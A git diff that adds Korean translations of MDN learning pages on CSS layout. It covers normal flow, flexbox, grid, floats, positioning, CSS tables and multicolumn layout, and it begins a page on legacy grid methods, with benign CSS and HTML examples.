그리드 시스템은 CSS 레이아웃에서 사용되는 매우 일반적인 기능이며, CSS 그리드 레이아웃(Grid Layout) 이전에는 부동체 또는 기타 레이아웃 기능을 이용하여 그리드 레이아웃(Grid Layout)이 구현되는 경향이 있었습니다. 자신의 레이아웃을 정해진 수의 열(예를 들어 4, 6 또는 12열)이라 상상한 뒤 여러분의 콘텐츠를 그 가상의 열 안에 콘텐츠 열을 끼워맞춥니다. 이 글에서 우리는 이 오래된 메서드가 어떻게 작동하는지 탐구할 것입니다. 이는 여러분이 오래된 프로젝트에 몸을 담게 될 경우에 그들 메서드의 사용 방법에 대한 이해를 돕기 위함입니다.
+
이전 브라우저 지원
+
+

이 단위에서는 Flexbox 및 그리드를 여러분의 웹디자인을 위한 주 레이아웃 방법으로 사용할 것을 권장합니다. 그러나 이전 브라우저 또는 당신이 사용하는 메서드를 지원하지 않는 브라우저를 사용하는 사이트 방문자가 있습니다. 이런 일은 웹상에서 항상 있는 일입니다. 즉 새로운 기능이 개발됨에 따라 서로 다른 브라우저가 서로 다른 것들의 우선 순위를 정합니다. 이 글은 구식 기술의 사용자들을 차단하지 않고 현대적인 웹 기술을 사용하는 방법에 대해 설명합니다.

+
+
학습 평가: 레이아웃 이해의 핵심 사항
+
웹페이지를 하나 예시하는 방식으로 서로 다른 레이아웃 메서드 지식을 테스트하는 학습 평가
+
+ +

참조 항목

+ +
+
위치잡기 실례
+
이 글은 위치잡기로 당신이 할 수 있는 일의 종류를 설명하기 위해 실제 사례를 구축하는 방법을 제시합니다.
+
diff --git a/files/ko/learn/css/css_layout/introduction/index.html b/files/ko/learn/css/css_layout/introduction/index.html new file mode 100644 index 0000000000..aaf42a6979 --- /dev/null +++ b/files/ko/learn/css/css_layout/introduction/index.html @@ -0,0 +1,720 @@ +--- +title: CSS 레이아웃 입문서 +slug: Learn/CSS/CSS_layout/Introduction +tags: + - 가변상자 + - 격자 + - 글 + - 대열 + - 부동체 + - 씨에스에스 + - 위치잡기 + - 입문서 + - 조판 + - 초보용 + - 테이블 + - 학습 +translation_of: Learn/CSS/CSS_layout/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}
+ +

이 문서에서는 이전 모듈에서 이미 다뤘던 CSS 레이아웃 기능, 예를 들어 서로 다른 {{cssxref("display")}} 속성값의 차이 등을 복습하고, 이번 모듈에서 다룰 예정인 몇몇 CSS 개념을 소개합니다.

+ + + + + + + + + + + + +
선결 사항:HTML의 기초 (HTML에 대한 소개)와 CSS 작동 방식에 대한 개념(CSS 소개를 공부하세요.)
목표:CSS 페이지 레이아웃 기술에 대한 개요를 제공합니다. 개별 기술은 후속 자습서에서 보다 자세하게 학습할 수 있습니다.
+ +

CSS 페이지 레이아웃 기술은 웹페이지에 포함될 요소들을 취합할 수 있게 해주며, 그들 요소가 일반 레이아웃 대열 상에 기본값 위치 기준과 부모 컨테이너, 또는 메인 뷰포인트 및 메인창과 비례해 어느 위치에 놓일 것인지를 제어한다. 우리가 이번 모듈에서 자세하게 다룰 페이지 레이아웃 기술은 다음과 같다.

+ + + +

각각의 기술은 저마다 용도가 있고, 장단점이 있으며, 어떤 기술도 독립적인 용도를 갖추도록 설계되지는 않았다. 각 메서드가 어떤 용도로 마련된 것인지 이해하게 되면 해당 작업에 가장 적합한 도구가 어떤 것인지 파악하는 데 유리한 입지를 점하게 된다.

+ +

보통 흐름(normal flow)

+ +

보통 흐름(normal flow)은 당신이 페이지 레이아웃을 전혀 제어하지 않을 경우 브라우저가 기본값으로 HTML 페이지를 배치하는 방법을 말합니다. 간단한 HTML 예를 살펴봅시다:

+ +
<p>나는 고양이를 사랑한다.</p>
+
+<ul>
+  <li>고양이 먹이를 사세요</li>
+  <li>운동</li>
+  <li>기운내 친구야</li>
+</ul>
+
+<p>여기가 끝!</p>
+ +

기본적으로 브라우저는 이 코드를 다음과 같이 표시한다.

+ +

{{ EmbedLiveSample('일반_대열', '100%', 200) }}

+ +

소스 코드에 나타나는 순서 그대로 HTML 요소가 표시되는 방법에 주의하자. 요소가 상대 요소의 상위(上位)에 차곡 차곡 올려진다. 즉 첫 번째 단락이 나오고 순서가 없는 목록이 이어지고 두 번째 단락으로 이어진다.

+ +

요소 집합이 상대 요소 바로 아래 나타나는 것을 inline 요소와 대비해 block 요소라고 기술한다.

+ +
+

참고: 블록 요소 상황에 해당하는 방향으로 배치되는 것을 일컽어 블록 방향이라고 기술한다. 영어와 같은 언어 상에서 블록 방향은 수직 대열을 갖게되며, 이는 가로쓰기 모드이다. 일본어와 같은 세로 쓰기 모드에 해당하는 언어 상에서 블록 방향은 수평 대열이 됩니다. (블록 관계와) 대척 관계인 인라인 방향은 (문장과 같은) 인라인 콘텐츠가 흘러가는 방향을 말한다.

+
+ +

CSS를 사용하여 레이아웃을 만들 경우 당신은 요소 집합을 보통 흐름(normal flow)에서 벗어나도록 하는 것이다. 그러나 당신의 웹페이지의 다수 요소 집합의 경우는 보통 흐름(normal flow)이므로 정확히 당신이 필요로하는 레이아웃이 그대로 만들어질 것이다. 그런 까닭에 잘 구조화된 HTML 문서에서 시작하는 것이 아주 중요하다. 그런 뒤에 당신은 사물들이 기본값으로 배치된 방식과 대립해 싸우는게 아니라 협력해서 작업할 수 있게 된다.

+ +

CSS에서 요소가 배치되는 방식을 변경시키는 메서드는 다음과 같다.

+ + + +

디스플레이 속성

+ +

CSS 상에서 페이지 레이아웃을 완성하는 주요 메서드는 display 속성에 포함된 모든 속성값 지정을 통해 이뤄진다. 디스플레이 속성은 요소가 표시되는 기본값 변경을 허용한다. 보통 흐름(normal flow)상의 모든 요소는 한 가지 display 속성값을 갖고 있으며, 해당 요소의 기본 동작 방식을 지정하는 데 사용된다. 예를 들어 영어로 된 단락은 다른 대상 요소 바로 밑에 표시되는 것은 그들 요소의 스타일이 display: block으로 지정되었기 때문이다. 단락 내부 어떤 텍스트 주변에 링크를 만들면 그 링크는 나머지 텍스트와 함께 인라인을 유지하며 새 줄로 넘어가는 행갈이를 하지 않는다. 그런 까닭에 {{htmlelement("a")}} 요소는 기본값으로 display: inline가 된다.

+ +

당신은 이러한 기본값 디스플레이 동작을 변경할 수 있다. 예를 들어 {{htmlelement("li")}} 요소는 기본값으로 display: block가 지정되는 것으로 우리 영어 문서 상에서 다른 대상 요소 바로 밑에 표시된다는 의미다. 디스플레이 속성값을 inline으로 변경하면 문장 속 단어의 동작과 마찬가지로 상대 바로 옆에 표시된다. 당신이 어느 요소라도 display 속성값을 변경할 수 있다는 것은 그 요소들이 어떤 모습을 띄게되든 관계없이 해당 HTML 요소의 의미론적 의의를 선택할 수 있다는 뜻이다. 요소가 보여지는 방식은 변경할 수 있는 부분이다.

+ +

한 항목을 block에서 inline으로 바꾸거나, 그 반대로 바꿔 기본값진열 방식을 변경할 수 있을뿐만 아니라 하나의 display 속성값으로 시작해서 확대된 형태의 레이아웃 메서드로 일부 있다. 그러나 그것을 사용할 경우 대게는 추가적인 속성 호출이 요구된다. 레이아웃의 목적이 무엇인지 논할 때 가장 중요한 두 가지 속성값은 display: flexdisplay: grid이다.

+ +

flexbox

+ +

flexbox는 가변 상자 레이아웃 모듈의 약칭으로 행이 됐건 열이 됐건 일차원 상에 사물을 배치할 경우 편리를 돕기 위해 마련되었다. flexbox를 사용하려면 당신이 진열하길 원하는 모든 요소의 부모 요소에 display: flex를 적용하고 나면 모든 직계 자식이 플렉스 항목이 된다. 우리는 간단한 예를 들어 이 점을 확인할 수 있다.

+ +

아래 HTML 마크업을 보면wrapper 클래스에 해당하는 컨테이너 요소를 제공하고, 그 내부에 세 개의 {{htmlelement("div")}} 요소가 있다. 기본값으로 이들 요소들은 영어 문서 상에서 블록 요소로 상대 요소 밑에 표시된다.

+ +

그러나 부모 요소에 display: flex를 부여하면 세개 항목이 자체적으로 단으로 배열된다. 그렇게 된 까닭은 그들 요소들이 가변 항목이 되었을 뿐만 아니라 flexbox가 그들 요소에 부여한 일부 초기값을 사용했기 때문이다. 그들은 행으로 표시되었는데, 그 까닭은 {{cssxref("flex-direction")}}의 초기값이 row이기 때문이다. 그들은 모두 항목 무리에서 키가 가장 큰 높이로 연장된 모양새가 되는데, 그 까닭은 {{cssxref("align-items")}} 속성의 초기값이 stretch이기 때문이다. 즉, 항목 무리가 가변 컨테이너의 높이에 맞춰 연장된다는 것으로 이번 경우에 키가 가장 큰 항목이 기준으로 정해진다. 항목 무리 전체가 가변 컨테이너의 초입에 맞춰 정렬하면서 행의 말미에 여분의 공간이 남겨진다.

+ +
+ + +
.wrapper {
+  display: flex;
+}
+
+ +
<div class="wrapper">
+  <div class="box1">하나</div>
+  <div class="box2">둘</div>
+  <div class="box3">셋</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('가변_1', '300', '200') }}

+ +

가변 콘테이너에 적용될 수 있는 상기한 속성이외에도 가변 항목에 적용될 수 있는 속성이 있다. 다른 것들 중에서 그들 속성들은 항목이 변형되는 방식을 변경할 수 있는데, 항목을 여유 공간에 맞춰 연장하거나 수축될 수 있다.

+ +

이에 대한 간단한 예로 자식 항목 전체에 대한 {{cssxref("flex")}} 속성에 대해 속성값 1을 부가할 수 있다. 그로 인해 컨테이너 말미에 공간을 남기지 않고 항목 무리 전체가 확대되거나 채워지도록 만든다. 항목 무리보다 많은 공간이 있을 경우는 늘어날 것이고 적은 공간이 있으면 축소될 것이다. 게다가 HTML 마크업에 다른 요소를 추가하면 그 대상 요소를 위한 공간 생성을 위해 항목 무리 전체가 축소될 것이다. 그들은 그 요소가 뭐가됐건 동일한 공간 점유를 위해 크기가 조종된다.

+ +
+ + +
.wrapper {
+    display: flex;
+}
+
+.wrapper > div {
+    flex: 1;
+}
+
+ +
<div class="wrapper">
+    <div class="box1">하나</div>
+    <div class="box2">둘</div>
+    <div class="box3">셋</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('가변_2', '300', '200') }}

+ +
+

참고: 이 안내서는 flexbox 상에서 있을 수 있는 내용에 대한 짧은 입문서였다. 더 자세한 내용은 flexbox 편을 참조하세요.

+
+ +

그리드 레이아웃

+ +

가변 상자는 일차원 레이아웃을 위해 마련되었지만, 그리드 레이아웃은 이차원 레이아웃을 위해 마련되었다. 즉 행과 열에 포함된 사물들을 배열한다.

+ +

반복되는 얘기지만, 디스플레이 속성에 display: grid라는 특정 값을 지정하면 그리드 레이아웃으로 전환할 수 있다. 아래 예를 보면 가변 요소 사례에 비슷한 마크업을 사용했다. 하나의 컨테이너와 몇몇 자식 요소가 딸려있다. 우리는 display: grid 사용뿐만 아니라 {{cssxref("grid-template-rows")}}와 {{cssxref("grid-template-columns")}}라는 개별 속성을 활용하여 부모 요소를 상대로 일부 행과 열 궤도를 정의한다. 여기 각기 1fr값이 지정된 3열과 100px이 지정된 2행을 정의했다. 자식 요소 상에 굳이 어떤 규칙도 적용할 필요없이, 그 요소들이 우리가 생성한 그리드 안에 자동적으로 자리잡게 된다.

+ +
+ + +
.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+    <div class="box1">하나</div>
+    <div class="box2">둘</div>
+    <div class="box3">셋</div>
+    <div class="box4">넷</div>
+    <div class="box5">다섯</div>
+    <div class="box6">여섯</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('격자_1', '300', '330') }}

+ +

그리드가 주어지고 나면 앞서 확인했듯 당신의 항목 무리를 그리드 상에 자동 배치하는 동작 방식이 아니라 명시적으로 위치를 지정할 수 있다. 아래 두 번째 예제에서 동일한 그리드를 정의했지만, 이번에는 세개의 자식 항목이 주어졌다. 우리는 {{cssxref("grid-column")}}와 {{cssxref("grid-row")}}를 사용해서 각 항목의 행과 열의 시작과 끝을 지정했다. 이로써 항목 무리가 차지하는 공간이 여러 궤도에 걸쳐 확대되었다.

+ +
+ + +
.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+.box1 {
+    grid-column: 2 / 4;
+    grid-row: 1;
+}
+
+.box2 {
+    grid-column: 1;
+    grid-row: 1 / 3;
+}
+
+.box3 {
+    grid-row: 2;
+    grid-column: 3;
+}
+
+ +
<div class="wrapper">
+    <div class="box1">하나</div>
+    <div class="box2">둘</div>
+    <div class="box3">셋</div>
+</div>
+
+
+ +

{{ EmbedLiveSample('격자_2', '300', '330') }}

+ +
+

참고: 이 두 예제는 그리드 레이아웃의 일부분일 뿐이며, 자세한 내용은 그리드 레이아웃

+
+ +

이 가이드의 나머지 부분은 페이지의 주요 레이아웃 구조로 보기엔 덜 중요하지만 특정 작업을 수행하는 데 여전히 도움이 될 수 있는 다른 레이아웃 방법을 다룬다. 각 레이아웃 작업의 특성을 이해함으로써 당신이 디자인 하는 특정 구성 요소를 들여다 볼 때 거기에 가장 적합한 레이아웃 유형이 종종 명확해 진다는 것을 조만간 알게 될 것이다.

+ +

Floats

+ +

요소를 부동시키면 보통 흐름(normal flow)속에 속한 해당 요소와 해당 요소를 뒤따르는 블록 수준 요소의 동작이 변경된다. 요소는 왼쪽 또는 오른쪽으로 이동하고 보통 흐름(normal flow)에서 벗어나게되며 주변 콘텐츠는 부유된 항목 주위로 떠다닙니다.

+ +

이 {{cssxref("float")}} 속성은 네 가지 값을 가질 수 있다:

+ + + +

아래 예제에서 우리는 <div> 왼쪽을 띄우고 오른쪽에 {{cssxref("margin")}}을 주어 텍스트를 <div> 요소 자리에서 밀어낸다. 이것은 우리에게 텍스트가 그 상자를 감싸는 효과를 부여하며, 이는 현대 웹 디자인에서 사용되는 Floats에 대해 알아야할 내용의 대부분이다.

+ +
+ + +
<h1>간단한 부동 예제</h1>
+
+<div class="box">부동</div>
+
+<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+
+
+ +
+.box {
+    float: left;
+    width: 150px;
+    height: 150px;
+    margin-right: 30px;
+}
+
+
+ +

{{ EmbedLiveSample('부동_1', '100%', 600) }}

+ +
+

참고: Floats에 대한 설명은 부동 및 해제 속성 편에서 충분히 다룹니다. flexbox 및 그리드 레이아웃과 같은 기술이 나오기 이전에 Floats는 열 레이아웃을 만드는 메서드로 사용되었다. 웹에서 이러한 메서드와 대면하는 경우도 여전히 있다. 레거시 레이아웃 메서드에 관한 단원에서 그 내용을 다루게 된다.

+
+ +

포지셔닝 기술

+ +

포지셔닝를 통해 보통 흐름(normal flow)속에 있는 요소를 예상되는 기존의 배치 위치에서 벗어나 다른 위치로 이동시킬 수 있다. 포지셔닝는 메인 페이지 레이아웃을 생성하는 메서드가 아니라 페이지의 특정 항목의 위치를 관리하고 미세 조정하는 것에 관한 것이다.

+ +

그러나 {{cssxref("position")}} 속성에 의존하는 특정 레이아웃 패턴을 상대할 경우 유용한 기술도 있다. 포지셔닝를 이해하는 것은 또한 보통 흐름(normal flow)을 이해하고, 항목을 보통 흐름(normal flow)에서 벗어나게 한다는 것이 무엇인지를 이해하는 데 도움이 된다.

+ +

당신이 알아야 할 다섯 가지 포지셔닝 유형이 있다.

+ + + +

간단한 포지셔닝 예제

+ +

이러한 페이지 레이아웃 기술에 친숙해지도록 몇 가지 간단한 예를 보여드리겠습니다. 예제는 다음과 같이 모두 동일한 HTML 특성을 갖고 있다:

+ +
<h1>포지셔닝</h1>
+
+<p>나는 기본 블록 수준 요소입니다.</p>
+<p class="positioned">나는 기본 블록 수준 요소입니다.</p>
+<p>나는 기본 블록 수준 요소입니다.</p>
+ +

이 HTML은 다음과 같은 CSS를 기본값으로 사용하여 스타일링됩니다.

+ +
body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+
+ +

렌더링된 출력은 다음과 같다:

+ +

{{ EmbedLiveSample('간단한_포지셔닝_예제', '100%', 300) }}

+ +

상대 포지셔닝

+ +

상대 포지셔닝 통해 기본 대열 속에서 예상되는 기본값으로 주어지는 위치로부터 항목을 간격띄우기할 수 있다. 이것은 아이콘을 약간 아래로 이동하여 텍스트 레이블에 맞춰 정렬하는 것과 같은 작업을 수행할 수 있다는 의미다. 이를 위해 다음 규칙을 추가하여 상대적인 위치를 추가할 수 있습니다:

+ +
.positioned {
+  position: relative;
+  top: 30px;
+  left: 30px;
+}
+ +

여기서 우리는 중간 단락에 {{cssxref("position")}} 값을relative로 부여하고(이것은 자체적으로 아무것도하지 않는다) 아울러 {{cssxref("top")}}와 {{cssxref("left")}} 속성도 추가한다. 이것은 영향을 받는 요소를 아래로 그리고 오른쪽으로 이동시키는 역할을 한다. 이것은 당신이 기대했던 것과 반대되는 것처럼 보일 수 있지만, 그것을 왼쪽과 상단면에서 밀리는 요소로 생각할 필요가 있다.

+ +

이 코드를 추가하면 다음과 같은 결과가 나타난다.

+ +
+ + +
.positioned {
+  position: relative;
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('상대적_1', '100%', 300) }}

+ +

절대 포지셔닝

+ +

절대 포지셔닝는 보통 흐름(normal flow)에서 요소를 완전히 제거하고 컨테이너 블록의 가장자리로부터 간격띄우기값(오프셋)을 사용하여 배치하는 데 사용된다.

+ +

위치 이동이 없던 원래의 예제로 회귀해서 절대 포지셔닝를 구현하기 위해 다음과 같은 CSS 규칙을 추가할 수 있다:

+ +
.positioned {
+  position: absolute;
+  top: 30px;
+  left: 30px;
+}
+ +

여기서 우리는 중간 단락에 absolute {{cssxref("position")}} 값과 이전과 동일한 {{cssxref("top")}}과 {{cssxref("left")}}속성을 부여한다. 그러나 이 코드를 추가하면 다음과 같은 결과가 나온다.

+ +
+ + +
.positioned {
+    position: absolute;
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    top: 30px;
+    left: 30px;
+}
+
+ +

{{ EmbedLiveSample('절대_1', '100%', 300) }}

+ +

이건 아주 달라! 위치 지정 요소는 이제 페이지 레이아웃의 나머지 부분과 완전히 분리되어 그 것 위에 놓여있다. 나머지 두 단락은 이제 원래 위치에 있던 자기 형제가 존재하지 않은 듯이 나란히 놓여 있다. {{cssxref("top")}}과 {{cssxref("left")}} 속성은 상대적 위치 지정 요소에 대해 미치는 것과는 다른 영향을 절대적 위치 지정 요소에 대해 미친다. 이 경우 간격띄우기값(오프셋)은 페이지의 좌측 최상단을 기준으로 계산되었다. 여기서 컨테이너가 되는 부모 요소를 변경할 수 있으며 포지셔닝에 관한 단원에서 해당 내용을 살펴보겠다.

+ +

고정 포지셔닝

+ +

고정 포지셔닝는 절대 포지셔닝와 같은 방식으로 문서 대열에서 요소를 제거한다. 그러나 컨테이너 위치로부터 간격띄우기를 적용하는 게 아니라 뷰포트를 기준으로 적용된다. 해당 항목이 뷰포트 기준에 비례하여 고정되기 때문에 해당 항목 아래로 페이지가 스크롤할 때 고정된 메뉴 항목과 같은 효과를 생성할 수 있다.

+ +

이번 예제의 경우 페이지를 스크롤할 수 있도록 텍스트 형태의 세 단락으로 구성된 HTML에 상자 하나를 position: fixed로 지정했다.

+ +
<h1>고정 포지셔닝</h1>
+
+<div class="positioned">고정</div>
+
+<p>단락 1.</p>
+<p>단락 2.</p>
+<p>단락 3.</p>
+
+ +
+ + +
.positioned {
+    position: fixed;
+    top: 30px;
+    left: 30px;
+}
+
+ +

{{ EmbedLiveSample('고정_1', '100%', 200) }}

+ +

흡착 포지셔닝

+ +

흡착 포지셔닝는 우리의 선택을 기다리며 대기중인 마지막 포지셔닝 메서드다. 이것은 기본값인 정적 포지셔닝와 고정 포지셔닝의 혼합형이다. 항목이 position: sticky로 지정된 경우 해당 항목은 뷰포트 기준에서 우리가 정의한 간격띄우기 지점에 도달하기 전까지 보통 흐름(normal flow) 상에서 스크롤된다. 그 지점에 마치 position: fixed가 적용된 것처럼 "철썩" 붙게 된다.

+ +
+ + +
.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('흡착_1', '100%', 200) }}

+ +
+

참고: 포지셔닝에 대해 더 알아보고 싶다면 포지셔닝 단원을 보라.

+
+ +

테이블 레이아웃

+ +

HTML 테이블은 표로 나타낸 데이터를 표시하기에는 무난했다. 그러나 (수년 전, 심지어 기초적인 CSS가 여러 브라우저에서 안정적으로 지원되기 이전에도) 웹 개발자들은 머리글, 바닥글, 서로 다른 단 등을 여러가지 테이블 행과 열에 집어넣어 웹페이지 전체 레이아웃을 짜는데 테이블을 사용하기도 했다. 이것은 당시에는 먹혔지만, 많은 문제가 상존했다. 테이블 레이아웃은 유연하지 않고, 마크업이 과도하고, 디버그하기 어렵고, 의미론적으로 맞지 않았다(예: 스크린 리더 사용자는 테이블 레이아웃을 탐색하는 데 문제가 있다).

+ +

테이블 마크업을 사용할 때 테이블이 웹 페이지에 보여지는 방식의 재원(財源)은 테이블 레이아웃을 정의하는 CSS 속성 집합이다. 이러한 속성은 테이블이 아닌 요소를 배치하는 데 사용할 수 있으며, 이 용법은 때때로 "CSS 테이블 용법"으로 기술된다.

+ +

아래 예는 이러한 용법을 보여준다. 레이아웃에 CSS 테이블을 사용하는 것은 이 시점에서 낡은 메서드로 간주되어야 한다. flexbox 또는 그리드 레이아웃이 지원되지 않던 매우 오래된 브라우저를 사용하는 사람의 경우에 해당된다.

+ +

예제를 살펴보자. 우선, HTML 양식을 생성하는 몇 가지 간단한 마크업 사례다. 개별 입력 요소에는 레이블이 달려있으며, 단락 안에는 캡션도 포함시켰다. 각 한 쌍을 이루는 레이블과 입력 요소는 레이아웃 목적에 따라 {{htmlelement("div")}} 요소에 둘러싸여 있다.

+ +
<form>
+  <p>우선, 이름과 나이를 말씀해주세요</p>
+  <div>
+    <label for="이름">이름:</label>
+    <input type="text" id="이름">
+  </div>
+  <div>
+    <label for="성">성:</label>
+    <input type="text" id="성">
+  </div>
+  <div>
+    <label for="나이">나이:</label>
+    <input type="text" id="나이">
+  </div>
+</form>
+ +

이제 우리 예제에 해당되는 CSS 차례다. CSS의 대부분은 {{cssxref("display")}} 속성을 사용한 것을 제외하면 대체로 평범한 내용이다. {{htmlelement("form")}}와 복수의 {{htmlelement("div")}}, {{htmlelement("label")}}, {{htmlelement("input")}}는 각기 테이블과 복수의 테이블 행, 테이블 셀을 표시하라는 주문을 받는다. 기본적으로 그들은 HTML 테이블 마크업과 같이 동작하며 기본값으로 레이블과 입력 양식 요소를 멋지게 정렬시킨다. 이제 우리가 해야할 일은 모든 요소가 좀더 멋지게 보이도록 크기와 여백을 조금 추가하는 것이다. 그러면 일이 마무리된다.

+ +

눈치 챘겠지만, 캡션 단락은 display: table-caption;가 부여되어 테이블 {{htmlelement("caption")}}과 같이 동작하게 만들었고, 또한 display: table-caption;를 부여하며 해당 마크업이 소스 코드에서 <input> 요소보다 선행함에도 해당 캡션이 스타일 목적에 따라 테이블 하단에 놓이도록 했다. 이렇듯 약간의 유연성이 허용된다.

+ +
html {
+  font-family: sans-serif;
+}
+
+form {
+  display: table;
+  margin: 0 auto;
+}
+
+form div {
+  display: table-row;
+}
+
+form label, form input {
+  display: table-cell;
+  margin-bottom: 10px;
+}
+
+form label {
+  width: 200px;
+  padding-right: 5%;
+  text-align: right;
+}
+
+form input {
+  width: 300px;
+}
+
+form p {
+  display: table-caption;
+  caption-side: bottom;
+  width: 300px;
+  color: #999;
+  font-style: italic;
+}
+ +

이것은 우리에게 다음과 같은 결과를 제공합니다.

+ +

{{ EmbedLiveSample('테이블_레이아웃', '100%', '170') }}

+ +

이 예제 역시 여기 CSS 테이블 예제에서 라이브로 볼 수 있고, 이곳 소스 코드에서도 역시 볼 수 있다.

+ +

다단 레이아웃

+ +

다단 레이아웃 모듈은 텍스트가 신문지상에 나열되는 방식과 비슷하게 내용을 단 형태로 레이아웃할 수 있는 방법을 제공한다. 단을 따라 위아래 읽기는 사용자가 위아래로 스크롤하도록 강제하길 원하지 않는다면 웹 상황에서 덜 유용하다. 다만 콘텐츠를 단에 배치하는 것은 유용한 기술일 수 있다.

+ +

한 블록을 다단 컨테이너 속으로 들여넣으려면 {{cssxref("column-count")}} 속성을 사용하여 브라우저에게 우리가 몇 단으로 나누길 원하는지 밝히거나 {{cssxref("column-width")}} 속성을 사용하여 브라우저에게 몇 단이 됐건 최소 해당 너비만한 단으로 컨테이너를 채우라고 말하면 된다.

+ +

아래 예제에서 내부에 일명 container 클래스 해당하는 <div> 요소를 포함하는 HTML 블록을 가지고 시작한다.

+ +
<div class="container">
+    <h1>다단 레이아웃</h1>
+
+    <p>단락 1.</p>
+    <p>단락 2.</p>
+
+</div>
+
+ +

우리는 해당 컨테이너에 200픽셀의 단 너비를 사용해서 브라우저가 컨테이너에 맞아 떨어지도록 최대 200픽셀의 단을 만들며, 그 뒤에 생성된 단 사이 나머지 공간을 나눠쓰게 된다.

+ +
+ + +
    .container {
+        column-width: 200px;
+    }
+
+ +

{{ EmbedLiveSample('다단_1', '100%', 200) }}

+ +

요약정리

+ +

이번 글에서는 알아야 할 모든 레이아웃 기술에 대한 요약을 간단하게 제공했습니다. 개별 기술에 대한 자세한 내용을 계속 읽어보세요!

+ +

{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git a/files/ko/learn/css/css_layout/legacy_layout_methods/index.html b/files/ko/learn/css/css_layout/legacy_layout_methods/index.html new file mode 100644 index 0000000000..aca6565fd7 --- /dev/null +++ b/files/ko/learn/css/css_layout/legacy_layout_methods/index.html @@ -0,0 +1,588 @@ +--- +title: 레거시 조판 메서드 +slug: Learn/CSS/CSS_layout/Legacy_Layout_Methods +tags: + - 격자 시스템 + - 레거시 + - 부동체 + - 씨에스에스 + - 안내서 + - 조판 + - 초보자 + - 학습 +translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

+ +

격자 시스템은 씨에스에스 조판에서 사용되는 매우 일반적인 기능이며, 씨에스에스 격자 조판 이전에는 부동체 또는 기타 조판 기능을 이용하여 격자 조판이 구현되는 경향이 있었습니다. 당신의 조판을 정해진 수의 열(예를 들어 4, 6 또는 12열)이라 상상한 뒤 당신의 콘텐츠 열을 그 가상의 열 안에 끼워맞춥니다. 이 문서에서 우리는 이 오래된 메서드가 어떻게 작동하는지 탐구할 것입니다. 이는 여러분이 오래된 프로젝트에 몸을 담게 될 경우에 그들 메서드의 사용 방법에 대한 이해를 돕기 위함입니다.

+ + + + + + + + + + + + +
선결 사항:HTML 기본 (에이치티엠엘 입문 학습), 씨에스에스의 작동 방식 씨에스에스 입문 및 (박스 양식 지정 학습)
목표:씨에스에스 격자 조판 이전에 사용된 격자 조판 시스템의 기본 개념을 브라우저에서 사용할 수 있습니다.
+ +

씨에스에스 격자 조판 이전의 조판 및 격자 시스템

+ +

씨에스에스가 아주 최근까지 내장된 격자 시스템을 갖고 있지 않았고, 그 대신 격자와 같은 디자인 생성을 위해 최적화에 못 미치는 다양한 방법을 사용했다니 디자인 배경의 경력자 관점에서 보면 놀랍게 보일 듯합니다. 우리는 이제 이것을 "래거시"라고 부릅니다.

+ +

새로운 프로젝트의 경우 모든 조판의 기초를 형성하기 위해 대체로 씨에스에스 격자 조판이 하나 이상의 다른 현대 조판 메서드와 연동되어 사용됩니다. 그러나 여러분은 이러한 레거시 메서드를 사용하는 "격자 시스템"을 수시로 접하게 될겁니다. 그들 레거시 메서드의 작동 방식, 그리고 씨에스에스 격자 조판과 다른 이유에 대해 이해할 가치가 있습니다.

+ +

이번 단원은 부동체와 가변상자 작동 방식을 기반으로 한 격자 시스템과 격자 프레임워크가 어떻게 작동하는지 설명합니다. 당신이 격자 조판을 공부한 상태라면 이 모든 것이 얼마나 복잡해 보이는지 놀랄 겁니다! 이러한 지식은 새로운 메서드를 지원하지 않는 브라우저를 위한 대체 코드를 작성해야 할 경우에 도움이 될 뿐만 아니라 이러한 유형의 시스템을 사용하는 기존 프로젝트에서 작업할 수 있게 해줄 것입니다.

+ +

우리가 이들 격자 시스템을 탐구할 때, 그것들 중 어느 것도 씨에스에스 격자 조판(CSS Grid Layout)이 격자를 만드는 방식으로 격자를 만들지는 않는다는 사실을 염두에 두어야 합니다. 그들은 항목의 크기를 부여하고, 항목 무리 주변을 밀어내어 격자 모양처럼 정렬해 보여주는 식으로 작동합니다.

+ +

2열 조판

+ +

가능한 가장 간단한 예시인 두 개의 열 조판으로 시작하겠습니다. 아래 내용을 따라하려면 당신의 컴퓨터에 index.html 파일을 새로 작성하여, 거기에 간단한 HTML 템플릿으로 채우고, 파일 내부의 적절한 위치에 아래 코드를 삽입하면 됩니다. 해당 섹션의 맨 아래에는 최종 코드가 어떻게 생겼는지에 대한 실제 예제가 있습니다.

+ +

